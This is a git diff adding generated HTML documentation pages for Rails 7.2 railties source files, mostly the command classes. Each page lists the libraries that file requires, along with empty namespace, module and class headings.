  • fileutils
  • + +
  • set
  • + +
  • active_support/notifications
  • + +
  • active_support/dependencies
  • + +
  • active_support/descendants_tracker
  • + +
  • active_support/all
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/application/configuration_rb.html b/src/7.2/files/railties/lib/rails/application/configuration_rb.html new file mode 100644 index 0000000000..efab890ac9 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/application/configuration_rb.html @@ -0,0 +1,115 @@ +--- +title: configuration.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • ipaddr
  • + +
  • active_support/core_ext/array/wrap
  • + +
  • active_support/core_ext/kernel/reporting
  • + +
  • active_support/file_update_checker
  • + +
  • active_support/configuration_file
  • + +
  • rails/engine/configuration
  • + +
  • rails/source_annotation_extractor
  • + +
  • action_view/helpers
  • + +
  • action_view/helpers
  • + +
  • rails/application/dummy_config
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/application/default_middleware_stack_rb.html b/src/7.2/files/railties/lib/rails/application/default_middleware_stack_rb.html new file mode 100644 index 0000000000..3c35c2ae76 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/application/default_middleware_stack_rb.html @@ -0,0 +1,99 @@ +--- +title: default_middleware_stack.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_dispatch/http/rack_cache
  • + +
  • rack/cache
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/application/dummy_config_rb.html b/src/7.2/files/railties/lib/rails/application/dummy_config_rb.html new file mode 100644 index 0000000000..a9e3c49fe6 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/application/dummy_config_rb.html @@ -0,0 +1,57 @@ +--- +title: dummy_config.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/application/finisher_rb.html b/src/7.2/files/railties/lib/rails/application/finisher_rb.html new file mode 100644 index 0000000000..8b3cdb42e0 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/application/finisher_rb.html @@ -0,0 +1,97 @@ +--- +title: finisher.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • set
  • + +
  • active_support/core_ext/string/inflections
  • + +
  • active_support/core_ext/array/conversions
  • + +
  • active_support/descendants_tracker
  • + +
  • active_support/dependencies
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/application/routes_reloader_rb.html b/src/7.2/files/railties/lib/rails/application/routes_reloader_rb.html new file mode 100644 index 0000000000..9e82a282ce --- /dev/null +++ b/src/7.2/files/railties/lib/rails/application/routes_reloader_rb.html @@ -0,0 +1,89 @@ +--- +title: routes_reloader.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/delegation
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/application_controller_rb.html b/src/7.2/files/railties/lib/rails/application_controller_rb.html new file mode 100644 index 0000000000..50afe4ba82 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/application_controller_rb.html @@ -0,0 +1,70 @@ +--- +title: application_controller.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/application_rb.html b/src/7.2/files/railties/lib/rails/application_rb.html new file mode 100644 index 0000000000..fbb48a545c --- /dev/null +++ b/src/7.2/files/railties/lib/rails/application_rb.html @@ -0,0 +1,113 @@ +--- +title: application.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • yaml
  • + +
  • active_support/core_ext/hash/keys
  • + +
  • active_support/core_ext/object/blank
  • + +
  • active_support/key_generator
  • + +
  • active_support/message_verifiers
  • + +
  • active_support/deprecation
  • + +
  • active_support/encrypted_configuration
  • + +
  • active_support/hash_with_indifferent_access
  • + +
  • active_support/configuration_file
  • + +
  • rails/engine
  • + +
  • rails/autoloaders
  • + +
  • erb
  • + +
  • psych/y
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/autoloaders/inflector_rb.html b/src/7.2/files/railties/lib/rails/autoloaders/inflector_rb.html new file mode 100644 index 0000000000..e8f47f5e1f --- /dev/null +++ b/src/7.2/files/railties/lib/rails/autoloaders/inflector_rb.html @@ -0,0 +1,78 @@ +--- +title: inflector.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/inflector
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/autoloaders_rb.html b/src/7.2/files/railties/lib/rails/autoloaders_rb.html new file mode 100644 index 0000000000..f14cf27bd8 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/autoloaders_rb.html @@ -0,0 +1,78 @@ +--- +title: autoloaders.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • zeitwerk
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/backtrace_cleaner_rb.html b/src/7.2/files/railties/lib/rails/backtrace_cleaner_rb.html new file mode 100644 index 0000000000..4549ff3a20 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/backtrace_cleaner_rb.html @@ -0,0 +1,80 @@ +--- +title: backtrace_cleaner.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/backtrace_cleaner
  • + +
  • active_support/core_ext/string/access
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/cli_rb.html b/src/7.2/files/railties/lib/rails/cli_rb.html new file mode 100644 index 0000000000..790fa5a455 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/cli_rb.html @@ -0,0 +1,80 @@ +--- +title: cli.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/app_loader
  • + +
  • rails/command
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/code_statistics_calculator_rb.html b/src/7.2/files/railties/lib/rails/code_statistics_calculator_rb.html new file mode 100644 index 0000000000..30fa5f59f4 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/code_statistics_calculator_rb.html @@ -0,0 +1,57 @@ +--- +title: code_statistics_calculator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/code_statistics_rb.html b/src/7.2/files/railties/lib/rails/code_statistics_rb.html new file mode 100644 index 0000000000..5f3974dae2 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/code_statistics_rb.html @@ -0,0 +1,67 @@ +--- +title: code_statistics.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/code_statistics_calculator
  • + +
  • active_support/core_ext/enumerable
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/command/actions_rb.html b/src/7.2/files/railties/lib/rails/command/actions_rb.html new file mode 100644 index 0000000000..984af07993 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/command/actions_rb.html @@ -0,0 +1,74 @@ +--- +title: actions.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/command/base_rb.html b/src/7.2/files/railties/lib/rails/command/base_rb.html new file mode 100644 index 0000000000..537eb638ec --- /dev/null +++ b/src/7.2/files/railties/lib/rails/command/base_rb.html @@ -0,0 +1,97 @@ +--- +title: base.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • thor
  • + +
  • erb
  • + +
  • active_support/core_ext/class/attribute
  • + +
  • active_support/core_ext/module/delegation
  • + +
  • active_support/core_ext/string/inflections
  • + +
  • rails/command/actions
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/command/behavior_rb.html b/src/7.2/files/railties/lib/rails/command/behavior_rb.html new file mode 100644 index 0000000000..2ee7ea84f6 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/command/behavior_rb.html @@ -0,0 +1,80 @@ +--- +title: behavior.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/command/environment_argument_rb.html b/src/7.2/files/railties/lib/rails/command/environment_argument_rb.html new file mode 100644 index 0000000000..6f5b98998d --- /dev/null +++ b/src/7.2/files/railties/lib/rails/command/environment_argument_rb.html @@ -0,0 +1,82 @@ +--- +title: environment_argument.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support
  • + +
  • active_support/core_ext/class/attribute
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/command/helpers/editor_rb.html b/src/7.2/files/railties/lib/rails/command/helpers/editor_rb.html new file mode 100644 index 0000000000..ff9a153559 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/command/helpers/editor_rb.html @@ -0,0 +1,86 @@ +--- +title: editor.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • shellwords
  • + +
  • active_support/encrypted_file
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/command_rb.html b/src/7.2/files/railties/lib/rails/command_rb.html new file mode 100644 index 0000000000..c5cdaea486 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/command_rb.html @@ -0,0 +1,88 @@ +--- +title: command.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support
  • + +
  • active_support/core_ext/enumerable
  • + +
  • active_support/core_ext/object/blank
  • + +
  • rails/deprecator
  • + +
  • thor
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/about/about_command_rb.html b/src/7.2/files/railties/lib/rails/commands/about/about_command_rb.html new file mode 100644 index 0000000000..ce5add59ab --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/about/about_command_rb.html @@ -0,0 +1,72 @@ +--- +title: about_command.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/app/update_command_rb.html b/src/7.2/files/railties/lib/rails/commands/app/update_command_rb.html new file mode 100644 index 0000000000..3cd9052e1b --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/app/update_command_rb.html @@ -0,0 +1,98 @@ +--- +title: update_command.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators
  • + +
  • rails/generators/rails/app/app_generator
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/application/application_command_rb.html b/src/7.2/files/railties/lib/rails/commands/application/application_command_rb.html new file mode 100644 index 0000000000..bd414dc660 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/application/application_command_rb.html @@ -0,0 +1,91 @@ +--- +title: application_command.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators
  • + +
  • rails/generators/rails/app/app_generator
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/boot/boot_command_rb.html b/src/7.2/files/railties/lib/rails/commands/boot/boot_command_rb.html new file mode 100644 index 0000000000..a66983516d --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/boot/boot_command_rb.html @@ -0,0 +1,80 @@ +--- +title: boot_command.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/command/environment_argument
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/console/console_command_rb.html b/src/7.2/files/railties/lib/rails/commands/console/console_command_rb.html new file mode 100644 index 0000000000..89db20e6d8 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/console/console_command_rb.html @@ -0,0 +1,89 @@ +--- +title: console_command.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/command/environment_argument
  • + +
  • rails/commands/console/irb_console
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/console/irb_console_rb.html b/src/7.2/files/railties/lib/rails/commands/console/irb_console_rb.html new file mode 100644 index 0000000000..12cd91030d --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/console/irb_console_rb.html @@ -0,0 +1,111 @@ +--- +title: irb_console.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • irb/helper_method
  • + +
  • irb/command
  • + +
  • irb
  • + +
  • irb/completion
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/credentials/credentials_command/diffing_rb.html b/src/7.2/files/railties/lib/rails/commands/credentials/credentials_command/diffing_rb.html new file mode 100644 index 0000000000..148e1955ae --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/credentials/credentials_command/diffing_rb.html @@ -0,0 +1,79 @@ +--- +title: diffing.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/credentials/credentials_command_rb.html b/src/7.2/files/railties/lib/rails/commands/credentials/credentials_command_rb.html new file mode 100644 index 0000000000..dcf27ac2d0 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/credentials/credentials_command_rb.html @@ -0,0 +1,92 @@ +--- +title: credentials_command.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • pathname
  • + +
  • active_support
  • + +
  • rails/command/helpers/editor
  • + +
  • rails/command/environment_argument
  • + +
  • rails/generators/rails/encryption_key_file/encryption_key_file_generator
  • + +
  • rails/generators/rails/credentials/credentials_generator
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/db/system/change/change_command_rb.html b/src/7.2/files/railties/lib/rails/commands/db/system/change/change_command_rb.html new file mode 100644 index 0000000000..734df0523f --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/db/system/change/change_command_rb.html @@ -0,0 +1,88 @@ +--- +title: change_command.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators
  • + +
  • rails/generators/rails/db/system/change/change_generator
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/dbconsole/dbconsole_command_rb.html b/src/7.2/files/railties/lib/rails/commands/dbconsole/dbconsole_command_rb.html new file mode 100644 index 0000000000..aae40f8e5c --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/dbconsole/dbconsole_command_rb.html @@ -0,0 +1,93 @@ +--- +title: dbconsole_command.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/string/filters
  • + +
  • rails/command/environment_argument
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/destroy/destroy_command_rb.html b/src/7.2/files/railties/lib/rails/commands/destroy/destroy_command_rb.html new file mode 100644 index 0000000000..b5c9bfed19 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/destroy/destroy_command_rb.html @@ -0,0 +1,80 @@ +--- +title: destroy_command.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/dev/dev_command_rb.html b/src/7.2/files/railties/lib/rails/commands/dev/dev_command_rb.html new file mode 100644 index 0000000000..e15a9d22e1 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/dev/dev_command_rb.html @@ -0,0 +1,80 @@ +--- +title: dev_command.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/dev_caching
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/devcontainer/devcontainer_command_rb.html b/src/7.2/files/railties/lib/rails/commands/devcontainer/devcontainer_command_rb.html new file mode 100644 index 0000000000..c63f4c77f6 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/devcontainer/devcontainer_command_rb.html @@ -0,0 +1,86 @@ +--- +title: devcontainer_command.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators
  • + +
  • rails/generators/rails/devcontainer/devcontainer_generator
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/encrypted/encrypted_command_rb.html b/src/7.2/files/railties/lib/rails/commands/encrypted/encrypted_command_rb.html new file mode 100644 index 0000000000..ac5af4c1cf --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/encrypted/encrypted_command_rb.html @@ -0,0 +1,94 @@ +--- +title: encrypted_command.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • pathname
  • + +
  • active_support
  • + +
  • rails/command/helpers/editor
  • + +
  • rails/generators
  • + +
  • rails/generators/rails/encryption_key_file/encryption_key_file_generator
  • + +
  • rails/generators
  • + +
  • rails/generators/rails/encrypted_file/encrypted_file_generator
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/gem_help/gem_help_command_rb.html b/src/7.2/files/railties/lib/rails/commands/gem_help/gem_help_command_rb.html new file mode 100644 index 0000000000..9a7b37a39f --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/gem_help/gem_help_command_rb.html @@ -0,0 +1,72 @@ +--- +title: gem_help_command.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/generate/generate_command_rb.html b/src/7.2/files/railties/lib/rails/commands/generate/generate_command_rb.html new file mode 100644 index 0000000000..6caedc8505 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/generate/generate_command_rb.html @@ -0,0 +1,80 @@ +--- +title: generate_command.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/help/help_command_rb.html b/src/7.2/files/railties/lib/rails/commands/help/help_command_rb.html new file mode 100644 index 0000000000..ba5490afa9 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/help/help_command_rb.html @@ -0,0 +1,72 @@ +--- +title: help_command.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/initializers/initializers_command_rb.html b/src/7.2/files/railties/lib/rails/commands/initializers/initializers_command_rb.html new file mode 100644 index 0000000000..d87a4c32c6 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/initializers/initializers_command_rb.html @@ -0,0 +1,80 @@ +--- +title: initializers_command.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/command/environment_argument
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/middleware/middleware_command_rb.html b/src/7.2/files/railties/lib/rails/commands/middleware/middleware_command_rb.html new file mode 100644 index 0000000000..89e18e0bca --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/middleware/middleware_command_rb.html @@ -0,0 +1,72 @@ +--- +title: middleware_command.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/new/new_command_rb.html b/src/7.2/files/railties/lib/rails/commands/new/new_command_rb.html new file mode 100644 index 0000000000..bff8946fdb --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/new/new_command_rb.html @@ -0,0 +1,72 @@ +--- +title: new_command.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/notes/notes_command_rb.html b/src/7.2/files/railties/lib/rails/commands/notes/notes_command_rb.html new file mode 100644 index 0000000000..d671b14a64 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/notes/notes_command_rb.html @@ -0,0 +1,80 @@ +--- +title: notes_command.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/source_annotation_extractor
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/plugin/plugin_command_rb.html b/src/7.2/files/railties/lib/rails/commands/plugin/plugin_command_rb.html new file mode 100644 index 0000000000..befa8341ac --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/plugin/plugin_command_rb.html @@ -0,0 +1,84 @@ +--- +title: plugin_command.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators
  • + +
  • rails/generators/rails/plugin/plugin_generator
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/rake/rake_command_rb.html b/src/7.2/files/railties/lib/rails/commands/rake/rake_command_rb.html new file mode 100644 index 0000000000..a258c5193c --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/rake/rake_command_rb.html @@ -0,0 +1,80 @@ +--- +title: rake_command.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rake
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/restart/restart_command_rb.html b/src/7.2/files/railties/lib/rails/commands/restart/restart_command_rb.html new file mode 100644 index 0000000000..196649b0ac --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/restart/restart_command_rb.html @@ -0,0 +1,80 @@ +--- +title: restart_command.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • fileutils
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/routes/routes_command_rb.html b/src/7.2/files/railties/lib/rails/commands/routes/routes_command_rb.html new file mode 100644 index 0000000000..46f941fe70 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/routes/routes_command_rb.html @@ -0,0 +1,88 @@ +--- +title: routes_command.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/command
  • + +
  • action_dispatch/routing/inspector
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/runner/runner_command_rb.html b/src/7.2/files/railties/lib/rails/commands/runner/runner_command_rb.html new file mode 100644 index 0000000000..26ee719c22 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/runner/runner_command_rb.html @@ -0,0 +1,80 @@ +--- +title: runner_command.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/command/environment_argument
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/secret/secret_command_rb.html b/src/7.2/files/railties/lib/rails/commands/secret/secret_command_rb.html new file mode 100644 index 0000000000..115a80b31e --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/secret/secret_command_rb.html @@ -0,0 +1,80 @@ +--- +title: secret_command.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • securerandom
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/server/server_command_rb.html b/src/7.2/files/railties/lib/rails/commands/server/server_command_rb.html new file mode 100644 index 0000000000..d81c425366 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/server/server_command_rb.html @@ -0,0 +1,101 @@ +--- +title: server_command.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • fileutils
  • + +
  • action_dispatch
  • + +
  • rails
  • + +
  • rails/dev_caching
  • + +
  • rails/command/environment_argument
  • + +
  • rails/rackup/server
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/test/test_command_rb.html b/src/7.2/files/railties/lib/rails/commands/test/test_command_rb.html new file mode 100644 index 0000000000..d0dce835ec --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/test/test_command_rb.html @@ -0,0 +1,86 @@ +--- +title: test_command.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/command
  • + +
  • rails/commands/rake/rake_command
  • + +
  • rails/test_unit/runner
  • + +
  • rails/test_unit/reporter
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/unused_routes/unused_routes_command_rb.html b/src/7.2/files/railties/lib/rails/commands/unused_routes/unused_routes_command_rb.html new file mode 100644 index 0000000000..b67a1d7359 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/unused_routes/unused_routes_command_rb.html @@ -0,0 +1,99 @@ +--- +title: unused_routes_command.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/commands/routes/routes_command
  • + +
  • action_dispatch/routing/inspector
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands/version/version_command_rb.html b/src/7.2/files/railties/lib/rails/commands/version/version_command_rb.html new file mode 100644 index 0000000000..85f3f57665 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands/version/version_command_rb.html @@ -0,0 +1,72 @@ +--- +title: version_command.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/commands_rb.html b/src/7.2/files/railties/lib/rails/commands_rb.html new file mode 100644 index 0000000000..8bedfb02f9 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/commands_rb.html @@ -0,0 +1,78 @@ +--- +title: commands.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/command
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
